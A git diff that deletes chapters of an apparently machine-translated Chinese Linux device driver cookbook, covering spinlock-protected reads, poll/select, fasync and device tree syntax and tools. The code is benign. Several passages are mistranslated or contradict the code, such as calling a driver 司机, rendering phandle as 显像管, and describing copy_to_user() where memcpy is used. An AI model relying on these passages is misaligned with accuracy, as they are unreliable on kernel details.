- mutex_lock(&chrdev->mux); -``` - -现在我们确定没有其他进程可以超越这一点,但是在中断上下文中运行的一些核心仍然可以做到这一点! - -4. 这就是为什么我们需要以下步骤来确保它们与中断上下文同步: - -```sh - /* Check for some data into read buffer */ - if (filp->f_flags & O_NONBLOCK) { - if (cbuf_is_empty(chrdev->head, chrdev->tail, BUF_LEN)) { - ret = -EAGAIN; - goto unlock; - } - } else if (wait_event_interruptible(chrdev->queue, - !cbuf_is_empty(chrdev->head, chrdev->tail, BUF_LEN))) { - count = -ERESTARTSYS; - goto unlock; - } - - /* Grab the lock */ - spin_lock_irqsave(&chrdev->lock, flags); -``` - -5. 当我们抓住锁时,我们可以确定我们是这里唯一的读取进程,并且我们也受到保护不受中断上下文的影响;因此,我们可以安全地从循环缓冲区中读取数据,然后释放锁,如下所示: - -```sh - /* Get data from the circular buffer */ - n = cbuf_count_to_end(chrdev->head, chrdev->tail, BUF_LEN); - count = min(count, n); - memcpy(tmp, &chrdev->buf[chrdev->tail], count); - - /* Release the lock */ - spin_unlock_irqrestore(&chrdev->lock, flags); -``` - -请注意,我们必须使用`copy_to_user()`功能将数据从循环缓冲区复制到本地缓冲区,而不是直接复制到用户空间缓冲区`buf`;这是因为这个功能可能会去睡觉,而在我们睡觉的时候拿着自旋锁是邪恶的! - -6. 一旦自旋锁被释放,我们可以安全地调用`copy_to_user()`向用户空间发送数据: - -```sh - /* Return data to the user space */ - ret = copy_to_user(buf, tmp, count); - if (ret < 0) { - ret = -EFAULT; - goto unlock; - } -``` - -7. 最后,在释放互斥体之前,我们必须更新循环缓冲区的`tail`指针,如下所示: - -```sh - /* Now we can safely move the tail pointer */ - cbuf_pointer_move(&chrdev->tail, count, BUF_LEN); - dev_info(chrdev->dev, "return %ld bytes\n", count); - -unlock: - /* Release the mutex */ - mutex_unlock(&chrdev->mux); - - return count; -} -``` - -请注意,由于进程上下文中只有读取器,它们是唯一移动`tail`指针的读取器(或者中断处理程序会这样做——请参见下面的代码片段),因此我们可以确定一切都会顺利进行。 - -8. 最后,中断处理程序(在我们的例子中,它是由内核定时器处理程序模拟的)看起来如下: - -```sh -static enum hrtimer_restart chrdev_timer_handler(struct hrtimer *ptr) -{ - struct chrdev_device *chrdev = container_of(ptr, - struct chrdev_device, timer); - - spin_lock(&chrdev->lock); /* grab the lock */ - - /* Now we should check if we have some space to - * save incoming data, otherwise they must be dropped... - */ - if (!cbuf_is_full(chrdev->head, chrdev->tail, BUF_LEN)) { - chrdev->buf[chrdev->head] = get_new_char(); - - cbuf_pointer_move(&chrdev->head, 1, BUF_LEN); - } - spin_unlock(&chrdev->lock); /* release the lock */ - - /* Wake up any possible sleeping process */ - wake_up_interruptible(&chrdev->queue); - - /* Now forward the expiration time and ask to be rescheduled */ - hrtimer_forward_now(&chrdev->timer, ns_to_ktime(delay_ns)); - return HRTIMER_RESTART; -} -``` - -处理程序的主体很简单:它获取锁,然后向循环缓冲区添加一个字符。 - -Note that, here, we simply drop data, due to the fact we have a real peripheral; in real cases, the driver developer may do whatever is needed to prevent data loss, for instance by stopping the peripheral and then signaling this error condition, in some way, to the user space! - -此外,在退出之前,它使用`wake_up_interruptible()`函数唤醒 waitqueue 上可能的休眠进程。 - -# 它是如何工作的... - -这些步骤不言自明。然而,在*步骤 4* 中,我们执行了两个重要的步骤:第一个是如果循环缓冲区为空,暂停进程,如果不是,则用中断上下文获取锁,因为我们将获得对循环缓冲区的访问。 - -对`O_NONBLOCK`标志的检查只是为了尊重`read()`行为,表示如果使用了`O_NONBLOCK`标志,则应该继续,如果没有数据,则返回`EAGAIN`错误。 - -请注意,在检查缓冲区是否为空之前,可以安全地获取锁,因为如果我们确定缓冲区为空,但同时有一些新数据到达并且`O_NONBLOCK`处于活动状态,我们只需返回`EAGAIN`(向读取过程发送信号以重做操作)。如果不是,我们在 waitqueue 上进入睡眠,然后我们将被中断处理程序唤醒(参见下面的信息)。在这两种情况下,我们的操作都是正确的。 - -# 还有更多... - -如果您希望测试代码,请编译代码并将其插入 ESPRESSObin: - -```sh -# insmod chrdev_irq.ko -chrdev_irq:chrdev_init: got major 239 -# insmod chrdev-req.ko -chrdev cdev-eeprom@2: chrdev cdev-eeprom with id 2 added -chrdev cdev-rom@4: chrdev cdev-rom with id 4 added -``` - -现在我们的外设已经启用(内核定时器已经在`chrdev_device_register()`功能的*步骤 2* 中启用),一些数据应该已经可以读取了;事实上,如果我们使用`cat`命令对驾驶员进行`read()`操作,我们会得到以下结果: - -```sh -# cat /dev/cdev-eeprom\@2 -ACEGIKMOQSUWYACEGIKMOQSUWYACEGIKMOQSUWYACEGIKMOQSUWYACEGIKMOQSUWYACEGIKMOQSUWYACEGIKMOQSUW -``` - -Here, we should notice that since we have defined two devices in the system (see the `chapter_04/chrdev/add_chrdev_devices.dts.patch` DTS file used at the beginning of this chapter) the  `get_new_char()` function is executed twice per second, and that's why we get the sequence `ACE...` instead of `ABC...`. A good exercise here would be to modify the driver to start the kernel timer when the driver is opened the first time, and then stop it when it is released the last time. Also, you may try to provide a per device `get_new_char()` function to generate the right sequence (ABC...) for each device within the system. - -相应的内核消息报告如下: - -```sh -chrdev cdev-eeprom@2: chrdev (id=2) opened -chrdev cdev-eeprom@2: should read 131072 bytes -chrdev cdev-eeprom@2: return 92 bytes -``` - -在这里,感谢*步骤 3* 到*步骤 7* ,`read()`系统调用使调用过程进入休眠状态,并在新数据到达后立即返回。 - -事实上,如果我们等待一段时间,我们会看到每秒钟都有一个新的字符,它包含以下内核消息: - -```sh -... -[ 227.675229] chrdev cdev-eeprom@2: should read 131072 bytes -[ 228.292171] chrdev cdev-eeprom@2: return 1 bytes -[ 228.294129] chrdev cdev-eeprom@2: should read 131072 bytes -[ 229.292156] chrdev cdev-eeprom@2: return 1 bytes -... -``` - -I left the timings to get an idea about the time when each message is generated. - -这个行为是由于*第 8 步*,内核定时器生成新数据。 - -# 请参见 - -* 有关自旋锁和锁定好文档的更多信息,请参见`linux/Documentation/locking/spinlocks.txt`处的内核文档目录。 - -# 使用轮询()和选择()等待输入/输出操作 - -在这个食谱中,我们将了解当我们的驱动有新的数据要读取(或者它愿意接受新的数据要写入)时,如何要求内核为我们检查,然后唤醒读取(或写入)过程,而不会有在 I/O 操作上被阻塞的风险。 - -# 准备好 - -为了测试我们的实现,我们仍然可以像以前一样使用`chrdev_irq.c`驱动;这是因为我们可以使用*新数据*事件所模拟的内核定时器。 - -# 怎么做... - -让我们看看如何通过以下步骤来实现: - -1. 首先,我们要在司机的`struct file_operations`中加入我们新的`chrdev_poll()`方法: - -```sh -static const struct file_operations chrdev_fops = { - .owner = THIS_MODULE, - .poll = chrdev_poll, - .llseek = no_llseek, - .read = chrdev_read, - .open = chrdev_open, - .release = chrdev_release -}; -``` - -2. 然后,实现如下。我们从传递到`poll_wait()`函数开始,该函数是当前设备`chrdev->queue`的等待队列: - -```sh -static __poll_t chrdev_poll(struct file *filp, poll_table *wait) -{ - struct chrdev_device *chrdev = filp->private_data; - __poll_t mask = 0; - - poll_wait(filp, &chrdev->queue, wait); -``` - -3. 最后,在检查循环缓冲区不是空的并且我们可以继续从中读取数据之前,我们获取互斥体: - -```sh - /* Grab the mutex */ - mutex_lock(&chrdev->mux); - - if (!cbuf_is_empty(chrdev->head, chrdev->tail, BUF_LEN)) - mask |= EPOLLIN | EPOLLRDNORM; - - /* Release the mutex */ - mutex_unlock(&chrdev->mux); - - return mask; -} -``` - -请注意,抓取自旋锁也不是必须的。这是因为如果缓冲区是空的,当新数据到达时,中断(我们模拟中的内核定时器)处理程序会通知我们。这又会调用`wake_up_interruptible(&chrdev->queue)`,它作用于我们之前提供给`poll_wait()`函数的 waitqueue。另一方面,如果缓冲区不是空的,它就不能被中断上下文清空,那么我们就不能有任何竞争条件。 - -# 还有更多... - -和以前一样,如果我们希望测试代码,我们需要实现一个合适的工具来执行我们新的`poll()`方法。当我们在驱动中添加它时,我们得到了`poll()`和`select()`系统调用支持;在`chrdev_select.c`文件中报告了一个`select()`用法的例子,下面有一个使用`select()`调用的片段: - -```sh - while (1) { - /* Set up reading file descriptors */ - FD_ZERO(&read_fds); - FD_SET(STDIN_FILENO, &read_fds); - FD_SET(fd, &read_fds); - - /* Wait for any data from our device or stdin */ - ret = select(FD_SETSIZE, &read_fds, NULL, NULL, NULL); - if (ret < 0) { - perror("select"); - exit(EXIT_FAILURE); - } - - if (FD_ISSET(STDIN_FILENO, &read_fds)) { - ret = read(STDIN_FILENO, &c, 1); - if (ret < 0) { - perror("read(STDIN, ...)"); - exit(EXIT_FAILURE); - } - printf("got '%c' from stdin!\n", c); - } - ... - - } -``` - -正如我们所看到的,这个程序将使用`select()`系统调用来监控我们的进程和字符设备的标准输入通道(命名为`stdin`),该系统调用又调用我们在*步骤 2* 和*步骤 3* 中实现的新的`poll()`方法。 - -现在,让我们使用主机上的下一个命令行来编译`chrdev_select.c`程序: - -```sh -$ make CFLAGS="-Wall -O2 -Ichrdev/" \ - CC=aarch64-linux-gnu-gcc \ - chrdev_select aarch64-linux-gnu-gcc -Wall -O2 chrdev_ioctl.c -o chrdev_select -``` - -Note that this command can be executed in the ESPRESSObin by simply removing the  `CC=aarch64-linux-gnu-gcc` setting. - -现在,如果我们尝试在 chrdev 设备上执行该命令,我们应该会得到以下输出: - -```sh -# ./chrdev_select /dev/cdev-eeprom\@2 -file /dev/cdev-eeprom@2 opened -got 'K' from device! -got 'M' from device! -got 'O' from device! -got 'Q' from device! -... -``` - -Of course, we'll have already loaded the `chrdev_irq` driver containing the `poll()` method. - -如果我们尝试从标准输入中插入一些字符,如下图所示,我们可以看到,当有来自设备的新数据时,进程可以安全地对其进行读取而不会阻塞,而当有来自其标准输入的新数据时,进程也可以这样做,也不会阻塞: - -```sh -... -got 'Y' from device! -got 'A' from device! -TEST -got 'T' from stdin! -got 'E' from stdin! -got 'S' from stdin! -got 'T' from stdin! -got ' -' from stdin! -got 'C' from device! -got 'E' from device! -... -``` - -# 请参见 - -* 有关`poll()`或`select()`的更多信息,一个很好的起点是它们的手册页(`man 2 poll`和`man 2 select`)。 - -# 使用 fasync()管理异步通知 - -在这个食谱中,我们将看到每当我们的驱动有新的数据要读取(或者它愿意接受来自用户空间的新数据)时,我们如何生成异步`SIGIO`信号。 - -# 准备好 - -如前所述,我们仍然可以使用`chrdev_irq.c`驱动来展示我们的实现。 - -# 怎么做... - -让我们看看如何通过以下步骤来实现: - -1. 首先,我们要在司机的`struct file_operations`中加入我们新的`chrdev_fasync()`方法: - -```sh -static const struct file_operations chrdev_fops = { - .owner = THIS_MODULE, - .fasync = chrdev_fasync, - .poll = chrdev_poll, - .llseek = no_llseek, - .read = chrdev_read, - .open = chrdev_open, - .release = chrdev_release -}; -``` - -2. 具体实现如下: - -```sh -static int chrdev_fasync(int fd, struct file *filp, int on) -{ - struct chrdev_device *chrdev = filp->private_data; - - return fasync_helper(fd, filp, on, &chrdev->fasync_queue); -} -``` - -3. 最后,我们必须将`kill_fasync()`调用添加到我们的(模拟)中断处理程序中,以表明由于新数据已准备好被读取,信号`SIGIO`可以被发送: - -```sh -static enum hrtimer_restart chrdev_timer_handler(struct hrtimer *ptr) -{ - struct chrdev_device *chrdev = container_of(ptr, - struct chrdev_device, timer); - -... - /* Wake up any possible sleeping process */ - wake_up_interruptible(&chrdev->queue); - kill_fasync(&chrdev->fasync_queue, SIGIO, POLL_IN); - - /* Now forward the expiration time and ask to be rescheduled */ - hrtimer_forward_now(&chrdev->timer, ns_to_ktime(delay_ns)); - return HRTIMER_RESTART; -} -``` - -# 还有更多... - -如果你想测试代码,你需要实现一个合适的工具来执行所有的步骤,要求内核接收`SIGIO`信号。下面,报告了`chrdev_fasync.c`程序的一个片段,它完成了所需的工作: - -```sh - /* Try to install the signal handler and the fasync stuff */ - sigh = signal(SIGIO, sigio_handler); - if (sigh == SIG_ERR) { - perror("signal"); - exit(EXIT_FAILURE); - } - ret = fcntl(fd, F_SETOWN, getpid()); - if (ret < 0) { - perror("fcntl(..., F_SETOWN, ...)"); - exit(EXIT_FAILURE); - } - flags = fcntl(fd, F_GETFL); - if (flags < 0) { - perror("fcntl(..., F_GETFL)"); - exit(EXIT_FAILURE); - } - ret = fcntl(fd, F_SETFL, flags | FASYNC); - if (flags < 0) { - perror("fcntl(..., F_SETFL, ...)"); - exit(EXIT_FAILURE); - } -``` - -需要这段代码来请求内核调用在*步骤 2* 中实现的`fasync()`方法。然后,每当新数据到达时,由于*步骤 3* ,`SIGIO`信号被发送到我们的进程,并且信号处理器`sigio_handler()`被执行,即使进程被暂停,例如,在读取另一个文件描述符时。 - -```sh -void sigio_handler(int unused) { - char c; - int ret; - - ret = read(fd, &c, 1); - if (ret < 0) { - perror("read"); - exit(EXIT_FAILURE); - } - ret = write(STDOUT_FILENO, &c, 1); - if (ret < 0) { - perror("write"); - exit(EXIT_FAILURE); - } -} -``` - -现在,让我们使用主机上的下一个命令行来编译`chrdev_fasync.c`程序: - -```sh -$ make CFLAGS="-Wall -O2 -Ichrdev/" \ - CC=aarch64-linux-gnu-gcc \ - chrdev_fasync aarch64-linux-gnu-gcc -Wall -O2 chrdev_ioctl.c -o chrdev_fasync -``` - -Note that this command can be executed in the ESPRESSObin by simply removing the  `CC=aarch64-linux-gnu-gcc` setting. - -现在,如果我们尝试在 chrdev 设备上执行该命令,应该会得到以下输出: - -```sh -# ./chrdev_fasync /dev/cdev-eeprom\@2 -file /dev/cdev-eeprom@2 opened -QSUWYACEGI -``` - -Of course, we'll have already loaded the `chrdev_irq` driver containing the `fasync()` method. - -这里,该过程在 stdin 上的`read()`上暂停,并且每当信号到达时,执行信号处理器并读取新数据。但是,当我们尝试将一些字符发送到标准输入时,该过程会按预期读取它们: - -```sh -# ./chrdev_fasync /dev/cdev-eeprom\@2 -file /dev/cdev-eeprom@2 opened -QSUWYACEGIKMOQS.... -got '.' from stdin! -got '.' from stdin! -got '.' from stdin! -got '.' from stdin! -got ' -' from stdin! -UWYACE -``` - -# 请参见 - -* 有关`fasync()`方法或`fcntl()`系统调用的更多信息,一个很好的起点是`man 2 fcntl`手册页。 \ No newline at end of file diff --git a/docs/linux-device-driver-dev-cb/08.md b/docs/linux-device-driver-dev-cb/08.md deleted file mode 100644 index fb0cc9dd..00000000 --- a/docs/linux-device-driver-dev-cb/08.md +++ /dev/null @@ -1,58 +0,0 @@ -# 八、附加信息:使用字符驱动 - -# 与字符驱动交换数据 - -与外围设备交换数据意味着向其发送数据或从其接收数据,为此,我们已经看到,我们必须使用`write()`和`read()`系统调用,其原型在内核中定义,如下所示: - -```sh -ssize_t write(struct file *filp, - const char __user *buf, size_t count, - loff_t *ppos); -ssize_t read(struct file *filp, - char __user *buf, size_t count, - loff_t *ppos); -``` - -另一方面,它们在用户空间中的对应部分如下所示: - -```sh -ssize_t write(int fd, const void *buf, size_t count); -ssize_t read(int fd, void *buf, size_t count); -``` - -前面的原型(在内核或用户空间中)看起来很相似,但是,当然,它们有不同的含义,作为驱动开发人员,我们必须完全知道这些含义是什么,才能准确地完成我们的工作。 - -先说`write()`;当我们从用户空间程序调用`write()`系统调用时,我们必须提供一个文件描述符,`fd`;一个缓冲区,`buf`,填充要写入的数据;和缓冲区大小,`count`。然后,系统调用返回一个值,该值可以是负值(如果有错误)、正值(指实际写入了多少字节)或零(表示没有写入任何内容)。 - -Note that `count` does **not** represent how many bytes we wish to write, but just the buffer size! In fact, `write()` can return a positive value that is smaller than `count`. That's why I enclosed the `write()` system call of the `chrdev_test.c` program inside a `for()` loop! In fact, if I have to write a buffer that is 10 bytes long and `write()` returns, for instance, 4 bytes, I have to recall it until all the remaining 6 bytes have been written. - -从内核空间的角度来看,我们将文件描述符`fd`看作`struct file *filp`(存储我们的文件描述符的内核信息的地方),而数据缓冲区由`buf`指针和`count`变量指定(目前不考虑`ppos`指针;这将很快解释)。 - -从`write()`内核原型中我们可以看到,`buf`参数标有`__user`属性,指出这个缓冲区来自用户空间,所以我们不能直接从中读取。事实上,这个内存区域是虚拟的,因此,当我们的驱动的`write()`方法被执行时,它实际上不能被映射到真实的物理内存中!为了解决这种情况,内核提供了`copy_from_user()`功能,如下所示: - -```sh -unsigned long copy_from_user(void *to, - const void __user *from, unsigned long n); -``` - -我们可以看到,这个函数从用户空间缓冲区`from`中取数据,然后在验证`from`指向的内存区域可以读取后,复制到`to`指向的缓冲区。一旦数据被传输到内核空间(在`to`指向的缓冲区内),我们的驱动就可以自由访问它。 - -对`read()`系统调用执行相同的步骤(即使方向相反)。我们还有一个文件描述符,`fd`;一个缓冲区,`buf`,读取数据必须放入其中,以及它的`count`大小。然后,系统调用返回一个值,该值可以是负值(如果有错误)、正值(这意味着实际读取了多少字节)或零(这意味着我们处于文件末尾)。 - -Again, we should notice that `count` is **not** how many bytes we wish to read but just the buffer size. In fact, `read()` can return a positive value smaller than `count`, which is why I put it inside a `for()` loop in the `chrdev_test.c` program. -More significantly than in the preceding `write()` case, the `read()` system call can also return `0`, which means **end-of-file**; that is, no more data is available from this file descriptor and we should stop reading. - -对于前面的`write()`情况,我们还有`buf`指向的缓冲区关联的`__user`属性,这意味着要从中读取数据,必须使用`copy_to_user()`函数,定义如下: - -```sh -unsigned long copy_to_user(void __user *to, - const void *from, unsigned long n); -``` - -Both `copy_from_user()` and `copy_to_user()` are defined in the `linux/include/linux/uaccess.h` file. - -现在,在本节结束之前,我们必须花一些时间在`ppos`指针上,这两个内核原型中都有。 - -当我们希望读取存储在文件中的一些数据时,我们必须多次使用`read()`系统调用(尤其是在文件相当大并且我们的内存缓冲区很小的情况下)。为此,我们希望简单地多次调用`read()`,而不必费心记录我们在之前的每次迭代中到达的位置;例如,如果我们有一个大小为 16 KB 的文件,并且我们希望通过使用 4 KB 的内存缓冲区来读取它,我们简单地调用`read()`系统调用四次,但是每个调用应该如何知道前一个调用在哪里完成了它的工作?这个任务被分配给`ppos`指针:当文件被打开时,它首先指向文件的第一个字节(在索引 0 处),然后,每次调用`read()`时,系统调用本身将它移动到下一个位置,这样接下来的`read()`调用就知道它应该从哪里开始读取下一个数据块。 - -Note that `ppos` is unique for both read and write operations, so if we perform `read()` first and then `write()`, the data will be written, not at beginning of the file, but exactly where the preceding `read()` call finished its operation! \ No newline at end of file diff --git a/docs/linux-device-driver-dev-cb/09.md b/docs/linux-device-driver-dev-cb/09.md deleted file mode 100644 index ad7255b9..00000000 --- a/docs/linux-device-driver-dev-cb/09.md +++ /dev/null @@ -1,1076 +0,0 @@ -# 九、附加信息:使用设备树 - -# 设备树内部 - -设备树是一种树形数据结构,其节点告诉您系统中当前存在哪些设备及其配置设置。每个节点都有描述所表示设备属性的属性/值对。每个节点只有一个父节点,但根节点没有父节点。 - -接下来的代码显示了一个简单设备树的示例表示,它几乎足够完整,可以引导一个简单的操作系统,具有平台类型、CPU、内存和单个**通用同步和异步收发机** ( **UART** )及其时钟和中断线路。设备节点在每个节点中显示属性和值。 - -设备树语法是不言自明的;但是,我们将在本段中通过查看与第 4 章相关的 GitHub 存储库中的`simple_platform.dts`文件来详细解释它。所以,让我们先来看看文件的结尾: - -```sh - serial0: serial@11100 { - compatible = "fsl,mpc5125-psc-uart", "fsl,mpc5125-psc"; - reg = <0x11100 0x100>; - interrupt-parent = <&ipic>; - interrupts = <40 0x8>; - fsl,rx-fifo-size = <16>; - fsl,tx-fifo-size = <16>; - clocks = <&clks 47>, <&clks 34>; - clock-names = "ipg", "mclk"; - }; - }; -}; -``` - -首先,我们应该注意到属性定义是以下形式的名称/值对: - -```sh -[label:] property-name = value; -``` - -这是真的,除了具有空(零长度)值的属性,其具有以下形式: -`[label:] property-name;` - -例如,在前面的例子中,我们将`serial@11100`节点的`compatible`属性(标记为`serial0`)设置为由两个字符串`"fsl,mpc5125-psc-uart"`和`"fsl,mpc5125-psc"`组成的列表,而`fsl,rx-fifo-size`属性设置为数字`16`。 - -属性值可以定义为 8、16、32 或 64 位整数元素的数组、以空值结尾的字符串、字节字符串或它们的组合。元素的存储大小可以使用`/bits/`前缀进行更改,如下所示,该前缀将属性`interrupts`定义为字节数组,`clock-frequency`定义为 64 位数字: - -```sh -interrupts = /bits/ 8 <17 0xc>; -clock-frequency = /bits/ 64 <0x0000000100000000>; -``` - -The `/bits/` prefix allows for the creation of 8, 16, 32, and 64-bit elements. - -设备树中的每个节点根据以下`node-name@unit-address`约定命名,其中`node-name`组件指定节点的名称(通常描述设备的一般类别),而名称的`unit-address`组件特定于节点所在的总线类型。例如,在前面的例子中,我们有`serial@11100`,这意味着我们有一个串行端口,其地址从`soc`节点的基址`0x80000000`偏移`0x11100`。 - -查看前面的示例,很明显,每个节点都是由节点名称和单元地址定义的,大括号标记节点定义的开始和结束(它们前面可能有一个标签),如下所示: - -```sh -[label:] node-name[@unit-address] { - [properties definitions] - [child nodes] -}; -``` - -设备树中的每个节点都有描述节点特征的属性;存在具有明确定义和标准化功能的标准属性,但是我们也可以使用自己的属性来指定自定义值。属性由名称和值组成,对于我们的串行端口的例子,我们将`interrupts`属性设置为`<40 0x8>`数组,而`compatible`属性设置为字符串列表,`fsl,rx-fifo-size`设置为数字。 - -通过清楚地说明从根节点到所有后代节点的完整路径,可以唯一地识别设备树中的节点。指定设备路径的约定类似于我们通常对文件系统中的文件使用的路径名;例如,在前面的定义中,到我们的串行端口的设备路径是`/soc@80000000/serial@11100`,而到根节点的路径显然是`/`。这个场景是标签发挥作用的地方;事实上,它们可以用来代替节点的完整路径,也就是说,串行端口使用的时钟可以使用如下的`clks`标签轻松寻址: - -```sh - clks: clock@f00 { - ... - }; - - serial0: serial@11100 { - compatible = "fsl,mpc5125-psc-uart", "fsl,mpc5125-psc"; - .... - clocks = <&clks 47>, <&clks 34>; - clock-names = "ipg", "mclk"; - }; - -``` - -我们还可以注意到`serial0`被定义为`tty0`的别名。该语法为开发人员提供了另一种使用标签而不是完整路径名来引用节点的方法: - -```sh - aliases { - tty0 = &serial0; - }; -``` - -前面的定义相当于下面的定义: - -```sh - aliases { - tty0 = "/soc@80000000/serial@11100"; - } -``` - -It's quite clear now that a label can be used in a device tree source file as either a property handle (the label usually named as phandle) value or a path, depending on the context. In fact, the `&` character only refers to a phandle if it is inside an array; otherwise (if outside an array), it refers to a path! - -别名不直接在设备树源中使用,而是由 Linux 内核取消引用。事实上,当我们要求内核通过路径找到一个节点时(我们将很快在本章中看到像`of_find_node_by_path()`这样的函数的用法),如果路径不是以`/`字符开始,那么路径的第一个元素必须是`/aliases`节点中的属性名。该元素被替换为别名的完整路径。 - -另一个需要在节点、标签和别名中理解的设备树的重要实体是显形。官方定义告诉我们,phandle 属性为节点指定了一个在设备树中唯一的数字标识符。事实上,这个属性值被需要引用与属性相关联的节点的其他节点使用,所以它实际上只是一个绕过设备树没有指针数据类型这一事实的黑客。 - -在前面的例子中,`serial@11100`节点是一种指定哪个节点是中断控制器,哪个节点是显像管使用时钟定义的节点的方式。然而,在那个例子中,它们没有被明确定义,因为`dtc`编译器友好地从标签创建显形。因此,在前面的示例中,我们有以下语法(为了更好的可读性,删除了不需要的信息): - -```sh - ipic: interrupt-controller@c00 { - compatible = "fsl,mpc5121-ipic", "fsl,ipic"; - ... - }; - - clks: clock@f00 { - compatible = "fsl,mpc5121-clock"; - ... - }; - - serial0: serial@11100 { - compatible = "fsl,mpc5125-psc-uart", "fsl,mpc5125-psc"; - ... - interrupt-parent = <&ipic>; - ... - clocks = <&clks 47>, <&clks 34>; - ... - }; -``` - -The `dtc` compiler is the device tree compiler, which will be introduced in [Chapter 4](04.html), *Using the Device Tree*, using the device tree compiler and utilities. - -这相当于显式显示显形的下一个语法: - -```sh - interrupt-controller@c00 { - compatible = "fsl,mpc5121-ipic", "fsl,ipic"; - ... - phandle = <0x2>; - }; - - clock@f00 { - compatible = "fsl,mpc5121-clock"; - ... - phandle = <0x3>; - }; - - serial@11100 { - compatible = "fsl,mpc5125-psc-uart", "fsl,mpc5125-psc"; - ... - interrupt-parent = <0x2>; - ... - clocks = <0x3 0x2f 0x3 0x22>; - ... - }; -``` - -简单来说,`&`字符告诉`dtc`下面的字符串是一个指针,引用与该字符串匹配的标签;然后,它将为每个标签创建一个唯一的`u32`值,用于 phandle 参考。 - -Of course, you can define your own phandle property in one node and specify a label on a different node's name. Then, `dtc` will be aware of any phandle values explicitly stated and will not use those values when creating phandle values for labeled nodes. - -关于设备树语法有很多要说的。但是,我们已经介绍了在设备驱动开发过程中如何使用设备树。 - -For complete documentation about this topic, you can read the device tree specifications at [https://www.devicetree.org/specifications/](https://www.devicetree.org/specifications/). - -# 使用设备树编译器和实用程序 - -这里有一些关于`dtc`及其实用程序的一些有趣用法的注释,这些实用程序在设备驱动开发和内核配置过程中非常有用。 - -# 获取运行设备树的源形式 - -`dtc`也可以用来将运行的设备树转换成人类可读的形式!假设我们希望知道我们的 ESPRESSObin 是如何配置的;首先要做的是在内核源代码中查看 ESPRESSObin 的 DTS 文件。然而,假设我们没有它。在这种情况下,我们可以要求`dtc`恢复到相应的 DTB 文件,如前一节所示,但是假设我们仍然没有它。我们能做什么?嗯,`dtc`可以通过恢复存储在`/proc/device-tree`目录中的数据来再次帮助我们,该目录保存了运行设备树的文件系统表示。 - -事实上,我们可以通过使用`tree`命令来检查`/proc/device-tree`目录,如下所示(这个输出只是整个目录内容的一个片段): - -```sh -# tree /proc/device-tree/proc/device-tree/ -|-- #address-cells -|-- #size-cells -|-- aliases -| |-- name -| |-- serial0 -| `-- serial1 -|-- chosen -| |-- bootargs -| |-- name -| `-- stdout-path -|-- compatible -|-- cpus -| |-- #address-cells -| |-- #size-cells -| |-- cpu@0 -| | |-- clocks -| | |-- compatible -| | |-- device_type -| | |-- enable-method -| | |-- name -| | `-- reg -... -``` - -If not present, the `tree` command can be installed as usual with the `apt install tree` command. - -然后我们可以读取每个文件中的字符串数据,如下所示: - -```sh -# cat /proc/device-tree/compatible ; echo -globalscale,espressobinmarvell,armada3720marvell,armada3710 -# cat /proc/device-tree/cpus/cpu\@0/compatible ; echo -arm,cortex-a53arm,armv8 -``` - -The last `echo` commands have just been used to add a new line character after the `cat` output to have more readable output. - -数字必须按如下方式读取: - -```sh -# cat /proc/device-tree/#size-cells | od -tx4 -0000000 02000000 -0000004 -# cat /proc/device-tree/cpus/cpu\@1/reg | od -tx4 -0000000 01000000 -0000004 -``` - -但是,通过使用`dtc`,我们可以取得更好的效果。事实上,如果我们使用下一个命令行,我们要求`dtc`将所有 DTB 数据转换成人类可读的形式: - -```sh -# dtc -I fs -o espressobin-reverted.dts /proc/device-tree/ -``` - -Of course, we must also install the `dtc` program into our ESPRESSObin with the `apt install device-tree-compiler` command. - -现在,从`espressobin-reverted.dts`文件中,我们可以轻松读取设备树数据: - -```sh -# head -20 espressobin-reverted.dts -/dts-v1/; - -/ { - #address-cells = <0x2>; - model = "Globalscale Marvell ESPRESSOBin Board"; - #size-cells = <0x2>; - interrupt-parent = <0x1>; - compatible = "globalscale,espressobin", "marvell,armada3720", "marvell,armada3710"; - - memory@0 { - device_type = "memory"; - reg = <0x0 0x0 0x0 0x80000000 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0>; - }; - - regulator { - regulator-max-microvolt = <0x325aa0>; - gpios-states = <0x0>; - regulator-boot-on; - enable-active-high; - regulator-min-microvolt = <0x1b7740>; -.. -``` - -# 设备树实用程序注释 - -如果我们看一下之前安装的`device-tree-compiler`包中的程序,可以看到程序比`dtc`多: - -```sh -$ dpkg -L device-tree-compiler | grep '/usr/bin' -/usr/bin -/usr/bin/convert-dtsv0 -/usr/bin/dtc -/usr/bin/dtdiff -/usr/bin/fdtdump -/usr/bin/fdtget -/usr/bin/fdtoverlay -/usr/bin/fdtput -``` - -这些其他程序通常被称为**设备树实用程序**,可用于检查或操作二进制形式的设备树(DTB)。 - -例如,我们可以使用`fdtdump`实用程序轻松转储 DTB 文件: - -```sh -$ fdtdump simple_platform.dtb | head -23 - -**** fdtdump is a low-level debugging tool, not meant for general use. -**** If you want to decompile a dtb, you probably want -**** dtc -I dtb -O dts - -/dts-v1/; -// magic: 0xd00dfeed -// totalsize: 0x642 (1602) -... - -/ { - model = "fsl,mpc8572ds"; - compatible = "fsl,mpc8572ds"; - #address-cells = <0x00000001>; - #size-cells = <0x00000001>; - interrupt-parent = <0x00000001>; - chosen { - bootargs = "root=/dev/sda2"; - }; - aliases { - tty0 = "/soc@80000000/serial@11100"; - }; -``` - -A careful reader will notice that the `fdtdump` utility itself tells us that it's only a low-level debugging tool and then to use `dtc` instead of decompiling, (or revert to DTS) a DTB file! - -另外两个有用的命令是`fdtget`和`fdtput`,它们可以用来读写数据到我们的 DTB 文件中。以下是我们可以用来读取先前 DTB 文件的`bootargs`条目的命令: - -```sh -$ fdtget simple_platform.dtb /chosen bootargs -root=/dev/sda2 -``` - -然后,我们可以使用下一个命令进行更改: - -```sh -$ fdtput -ts simple_platform.dtb /chosen bootargs 'root=/dev/sda1 rw' -$ fdtget simple_platform.dtb /chosen bootargs -root=/dev/sda1 rw -``` - -Note that we have had to use the `-ts` option argument to tell `fdtput` which type of data ours is, otherwise, the wrong values can be written! - -不仅如此,我们还可以要求`fdtget`列出每个提供节点的所有子节点: - -```sh -$ fdtget -l simple_platform.dtb /cpus /soc@80000000 -cpu@0 -cpu@1 -interrupt-controller@c00 -clock@f00 -serial@11100 -``` - -此外,我们还可以要求它列出每个节点的所有属性: - -```sh -$ fdtget -p simple_platform.dtb /cpus /soc@80000000 -#address-cells -#size-cells -compatible -#address-cells -#size-cells -device_type -ranges -reg -bus-frequency -``` - -# 从设备树中获取特定于应用的数据 - 